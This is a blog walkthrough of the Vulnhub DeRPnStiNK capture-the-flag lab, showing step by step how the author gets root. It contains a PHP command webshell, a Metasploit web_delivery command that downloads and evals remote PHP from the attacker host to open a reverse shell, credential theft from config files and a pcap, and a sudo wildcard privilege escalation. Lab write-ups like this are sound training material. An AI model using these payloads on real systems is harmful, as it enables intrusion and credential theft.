Sponsored by

Vulnhub DeRKnStiNK walkthrough

Posted in Writeups on March 8, 2018

Vulnhub DeRKnStiNK walkthrough

The DeRKnStiNK VM is a great Web challenge with a lot of twists. I loved it because several techniques are involved to get all the flags. It was a nice occasion to practice my skills and improve my testing methodogy. Thanks a lot to @securekomodo for the fun time!

Let’s dive into it!

Step by step walkthrough

Goal

The goal of this challenge is to get root and find 4 flags.

Finding the target VM’s IP address

Here is how I get the IP address of a challenge VM that has DCHP enabled. First, I take of note my IP address (i.e. the IP of the Kali VM I am using):

# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.217.4  netmask 255.255.255.0  broadcast 192.168.217.255
        inet6 fe80::a00:27ff:fee5:35c7  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:e5:35:c7  txqueuelen 1000  (Ethernet)
        RX packets 14088  bytes 9478940 (9.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 11610  bytes 1622487 (1.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Then I scan the whole network to get the target VM’s IP address:

# nmap -sn 192.168.217.1-254

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-08 10:45 CET
Nmap scan report for 192.168.217.1
Host is up (0.00014s latency).
MAC Address: 0A:00:27:00:00:04 (Unknown)
Nmap scan report for 192.168.217.5
Host is up (0.00034s latency).
MAC Address: 08:00:27:F8:E8:CA (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.217.4
Host is up.
Nmap done: 254 IP addresses (4 hosts up) scanned in 2.20 seconds

As you can see, I have 3 IP addresses on my Virtualbox Host only network:

  • 192.168.217.1: Windows host
  • 192.168.217.4: Kali Linux “attack” VM
  • 192.168.217.5: DeRPnStiNK VM

Port scanning

The target has three open TCP ports:

# nmap -n -A -p- 192.168.217.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-08 09:55 CET
Nmap scan report for 192.168.217.5
Host is up (0.00043s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
|   2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
|   256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
|_  256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca🆎5d:2d (EdDSA)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
MAC Address: 08:00:27:1C:48:FB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.217.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.24 seconds

One UDP port is also open but doesn’t seem interesting to test:

# nmap -n -A -sU 192.168.217.5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-08 09:56 CET
Stats: 0:19:40 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 10:18 (0:03:06 remaining)
Nmap scan report for 192.168.217.5
Host is up (0.00042s latency).
Not shown: 997 closed ports
PORT     STATE         SERVICE VERSION
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
5353/udp open          mdns    DNS-based service discovery
| dns-service-discovery: 
|   9/tcp workstation
|_    Address=192.168.217.5 fe80:0:0:0:a00:27ff:fe1c:48fb
...snip...

Reconnaissance phase

Manual testing

HTTP
The first thing to do after discovering an HTTP open port, is to manually browse the application and take note of all interesting functionalities and URLs.

At first sight, the site does not seem to contain much but the source code of the server’s root (http://192.168.217.5) reveals the first flag:

flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)

FTP
The FTP server is accessible and is vulnerable to user enumeration because we’re prompted for a password only when the user supplied is valid (stinky in this case):

# ftp 192.168.217.5 21
Connected to 192.168.217.5.
220 (vsFTPd 3.0.2)
Name (192.168.217.5:root): root
530 Permission denied.
Login failed.

# ftp 192.168.217.5 21
Connected to 192.168.217.5
220 (vsFTPd 3.0.2)
Name (192.168.217.5:root): stinky
331 Please specify the password.
Password:

SSH
Password authentication is not allowed. We need a private key to be able to access the SSH server.

# ssh [email protected]
Ubuntu 14.04.5 LTS


                       ,~~~~~~~~~~~~~..
                       '  Derrrrrp  N  `
        ,~~~~~~,       |    Stink      | 
       / ,      \      ',  ________ _,"
      /,~|_______\.      \/
     /~ (__________)   
    (*)  ; (^)(^)':
        =;  ____  ;
          ; """"  ;=
   {"}_   ' '""' ' _{"}
   \__/     >  <   \__/
      \    ,"   ",  /
       \  "       /"
          "      "=
           >     <
          ="     "-
          -`.   ,'
                -
            `--'

[email protected]: Permission denied (publickey).

Automatic scanning

The next step is to scan the application with automatic tools in order to find any other hidden resources. For that, I usually use:

  • Burp spider to find links referenced in the application’s source code
  • Dirb for file and directory brute-forcing to find links not referenced anywhere

Burp spider
Spidering the site with Burp Spider reveals two new URLS:

This is a logged whois request done by the system user stinky. This is good to know because we could try to login to FTP or SSH with this username.

Interesting! This says that there is a blog (but where?!) on the site and that we should add its domain (which one?!) to /etc/hosts.

Dirb
The following Dirb command finds a lot of new files and directories:

# dirb http://192.168.217.5 /usr/share/dirb/wordlists/common.txt -o dirb.log

As always, let’s extract all URLs with a 200 HTTP response code and directories found, then take screenshots with Eyewitness using the following commands:

# cat dirb.log | grep "CODE:200" | cut -d" " -f2 > urls.txt
# cat dirb.log | grep "==> DIRECTORY:" | cut -d" " -f3 >> urls.txt
# eyewitness --headless -f /home/pentesterland/urls.txt 		# An absolute path is mandatory

For more details on this process, see the Vulnhub Drunk admin walkthrough.

The most interesting URLs found are http://192.168.217.5/php/phpmyadmin/ and http://192.168.217.5/weblog. Since we don’t have credentials to access phpMyAdmin, let’s focus on the second URL. It redirects to http://derpnstink.local/weblog.

Let’s add this domain to our /etc/host file:

echo "192.168.217.5   derpnstink.local" >> /etc/hosts

Now we can access /weblog and it is the blog we were looking for!

Again, there isn’t much on this blog. But something weird is going on with the slideshow:

It looks like someone tried to upload webshells but they are not accessible. Only elidumfy.php is but it is not obvious how to use it:

wpscan
Wappalyzer indicates that the CMS used is Wordpress. So let’s run Wpscan!

# wpscan --url http://192.168.217.5/weblog
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ÂŽ
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] The remote host tried to redirect to: http://derpnstink.local/weblog/
[?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]Y
[+] URL: http://derpnstink.local/weblog/
[+] Started: Wed Mar  7 10:15:58 2018

[!] The WordPress 'http://derpnstink.local/weblog/readme.html' file exists exposing a version number
[+] Interesting header: LINK: <http://derpnstink.local/weblog/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: LINK: <http://derpnstink.local/weblog/>; rel=shortlink
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.22
[+] XML-RPC Interface available under: http://derpnstink.local/weblog/xmlrpc.php

[+] WordPress version 4.6.9 (Released on 2017-11-29) identified from meta generator, links opml
[!] 2 vulnerabilities identified from the version number

...snip...

[!] Title: Tribulant Slideshow Gallery <= 1.5.3 - Arbitrary file upload & Cross-Site Scripting (XSS) 
    Reference: https://wpvulndb.com/vulnerabilities/8263
    Reference: http://cinu.pl/research/wp-plugins/mail_5954cbf04cd033877e5415a0c6fba532.html
    Reference: http://blog.cinu.pl/2015/11/php-static-code-analysis-vs-top-1000-wordpress-plugins.html
[i] Fixed in: 1.5.3.4

...snip...

There are several vulnerabilities, particularly an arbitrary file upload affecting the slideshow gallery plugin. This is probably exploitable (especially considering the webshells we found) but it requires authentication!

Exploiting the Slideshow arbitrary file upload vulnerability

Accessing the blog admin interface

The login page is http://derpnstink.local/weblog/wp-login.php. The password reset functionality is vulnerable to user enumeration. It returns different responses whether the user supplied exists or not.

This tells us that admin is a valid username. And we’re in luck because his password is also admin (literally the first one tried works!).

Uploading a webshell

Now that we’re in the Wordpress admin interface, we can upload a new webshell to the slideshow:

# cat php_basic_webshell.php 
<?php
system($_GET["cmd"]);
?>

And access it via http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/phpbasicwebshell.php?cmd=ls.

Upgrading to a Meterpreter shell

A Meterpreter session is always better than a basic shell.

msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set TARGET  1
TARGET => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.217.4
lhost => 192.168.217.4
msf exploit(multi/script/web_delivery) > set srvport 9876
srvport => 9876
msf exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.217.4:4444 
msf exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:9876/VTurVPyjPuT
[*] Local IP: http://10.0.2.15:9876/VTurVPyjPuT
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.217.4:9876/VTurVPyjPuT'));"

After visiting http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/phpbasicwebshell.php?cmd=php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://192.168.217.4:9876/VTurVPyjPuT%27));%22, we get a new Meterpreter session on the target:

[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.217.4:9876/VTurVPyjPuT'));"
[*] 192.168.217.5    web_delivery - Delivering Payload
[*] Sending stage (37543 bytes) to 192.168.217.5
[*] Meterpreter session 1 opened (192.168.217.4:4444 -> 192.168.217.5:45434) at 2018-03-08 11:16:34 +0100
sessions -l

Active sessions
===============

  Id  Name  Type                   Information                 Connection
  --  ----  ----                   -----------                 ----------
  1         meterpreter php/linux  www-data (33) @ DeRPnStiNK  192.168.217.4:4444 -> 192.168.217.5:45434 (192.168.217.5)

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
/var/www/html/weblog/wp-content/uploads/slideshow-gallery
meterpreter > 

Browsing the filesystem as www-data

The current user is www-data and has very limited permissions.

meterpreter > shell
Process 2225 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The other users which are allowed to run a shell are root, stinky and mrderp:

meterpreter > cat /etc/passwd
root❌0:0:root:/root:/bin/bash
...snip...
stinky❌1001:1001:Uncle Stinky,,,:/home/stinky:/bin/bash
ftp❌118:126:ftp daemon,,,:/srv/ftp:/bin/false
mrderp❌1000:1000:Mr. Derp,,,:/home/mrderp:/bin/bash

But with the permissions of www-data, we cannot access their home folder:

meterpreter > shell
Process 2234 created.
Channel 3 created.
ls /home/stinky
ls: cannot open directory /home/stinky: Permission denied
ls /home
mrderp
stinky
ls /home/stinky
ls: cannot open directory /home/stinky: Permission denied
ls /home/mrderp
ls: cannot open directory /home/mrderp: Permission denied

The web server files contain the configuration for accessing the blog’s wordpress database:

meterpreter > cat /var/www/html/weblog/wp-config.php
<?php
...snip...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'mysql');

/** MySQL hostname */
define('DB_HOST', 'localhost');

Getting root access

Pilfering information from phpMyAdmin

Let’s leverage the credentials found (username admin & password mysql) to access the phpMyAdmin interface found previously:

The wordpress database has a table named wp-users which lists the blog’s users with their password hash:

Similary, the mysql database has a table named user which contain MySQL users and their password hash:

Playing with unclestinky’s Wordpress hash
unclesticky’s wordpress hash, $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41, is not easy to break because it is salted. But we can replace it with the hash of a password that we know, let’s say *4ACFE3202A5FF5CF467898FC58AAB1D615029441 which is the hash of admin:

By doing this, we have changed unclesticky’s password on the blog. It is now admin.

unclestinky’s MySQL hash
The MySQL hash *9B776AFB479B31E8047026F1185E952DD1E530CB corresponds to the password wedgie57.

Browsing the blog’s interface as unclestinky

There is a post draft containing the second flag: flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

Reading Stinky’s FTP files

Stinky uses the same password on MySQL and FTP:

# ftp 192.168.217.5 21
Connected to 192.168.217.5.
220 (vsFTPd 3.0.2)
Name (192.168.217.5:root): stinky
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    5 1001     1001         4096 Nov 12 17:23 files
226 Directory send OK.

There’s an interesting file located at ftp://192.168.217.5/files/network-logs/derpissues.txt.

If we could find this file, we would obtain Derp’s Wordpress credentials since he logged in while capturing his traffic.

The FTP server also serves stinky’s private SSH key (Yes!):

Getting SSH access as stinky

All we have to do is copy the private key found on ftp://192.168.217.5/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt to ~/.ssh/id_rsa on our local machine:

chmod 700 ~/.ssh/id_rsa
# ssh [email protected]
Ubuntu 14.04.5 LTS


                       ,~~~~~~~~~~~~~..
                       '  Derrrrrp  N  `
        ,~~~~~~,       |    Stink      | 
       / ,      \      ',  ________ _,"
      /,~|_______\.      \/
     /~ (__________)   
    (*)  ; (^)(^)':
        =;  ____  ;
          ; """"  ;=
   {"}_   ' '""' ' _{"}
   \__/     >  <   \__/
      \    ,"   ",  /
       \  "       /"
          "      "=
           >     <
          ="     "-
          -`.   ,'
                -
            `--'

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

331 packages can be updated.
231 updates are security updates.

Last login: Mon Nov 13 00:31:29 2017 from 192.168.1.129
stinky@DeRPnStiNK:~$ id
uid=1001(stinky) gid=1001(stinky) groups=1001(stinky)
stinky@DeRPnStiNK:~$ 

Browsing the filesystem as stinky

Here’s the third flag:

stinky@DeRPnStiNK:~$ cat Desktop/flag.txt 
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

We have also found the pcap file containing Derp’s Wordpress credentials:

stinky@DeRPnStiNK:~$ ls Documents/
derpissues.pcap

Getting Derp’s password from the .pcap file

The pcap file can be read with Wireshark or Tcpdump. It contains Derp’s password in clear-text: derpderpderpderpderpderpderp

Browsing the filesystem as mrderp

Now that we have his password, it is easy to switch to the mrderp user:

stinky@DeRPnStiNK:~$ su derp
No passwd entry for user 'derp'
stinky@DeRPnStiNK:~$ su mrderp
Password: 
mrderp@DeRPnStiNK:/home/stinky$ 

There is only one file in mrderp’s home folder. Its contains a conversation with the HelpDesk around an issue he has with the Sudoers file. But the HelpDesk’s reply is not complete:

mrderp@DeRPnStiNK:~$ cat Desktop/helpdesk.log 
Thank you for contacting the Help Desk. Your ticket information and its resolution is
below.

Becoming root

Let’s see what the problem is with sudo su:

mrderp@DeRPnStiNK:~$ sudo su
[sudo] password for mrderp: 
Sorry, user mrderp is not allowed to execute '/bin/su' as root on DeRPnStiNK.
mrderp@DeRPnStiNK:~$ 

So mrderp is not allowed to run /bin/su with sudo! The following command tells us what he is allowed to run whith sudo:

mrderp@DeRPnStiNK:~$ sudo -l
Matching Defaults entries for mrderp on DeRPnStiNK:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrderp may run the following commands on DeRPnStiNK:
    (ALL) /home/mrderp/binaries/derpy*
mrderp@DeRPnStiNK:~$ 

That is any file starting with derpy and inside /home/mrderp/binaries! Now, talk about a dangerous practice! All we have to do is create a binaries folder, and put a script inside it named derpy.sh that starts a Bash shell:

mrderp@DeRPnStiNK:~$ cd /home/mrderp/
mrderp@DeRPnStiNK:~$ mkdir binaries
mrderp@DeRPnStiNK:~$ echo "/bin/bash" > binaries/derpy.sh
mrderp@DeRPnStiNK:~$ chmod +x binaries/derpy.sh 

Et voilĂ !

mrderp@DeRPnStiNK:~$ sudo ./binaries/derpy.sh 
root@DeRPnStiNK:~# id
uid=0(root) gid=0(root) groups=0(root)
root@DeRPnStiNK:~# cat /root/
.bash_history         .compiz/              Desktop/              Downloads/            .ICEauthority         .mysql_history        .Xauthority           
.bashrc               .config/              .dmrc                 .gconf/               .local/               .profile              .xsession-errors      
.cache/               .dbus/                Documents/            .gvfs/                .mozilla/             .ssh/                 .xsession-errors.old  
root@DeRPnStiNK:~# cat /root/Desktop/flag.txt 
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

Congrats on rooting my first VulnOS!

Hit me up on twitter and let me know your thoughts!

@securekomodo


root@DeRPnStiNK:~# 

The last flag is: flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

Vulnerabilities found

Here is a quick rundown of the vulnerabilities found while solving this challenge:

  • Information disclosure
  • Remotely accessible administrative interfaces
  • Trivial passwords used on several interfaces
  • Obsolete component with a known vulnerability used (Slideshow Gallery Wordpress plugin)
  • MySQL passwords stored using a weak encryption method
  • Several sensitive files stored unencrypted and world-readable (pcap file, emails & SSH private key)

If you have any questions or suggestions, please leave a comment. See you next time!

Top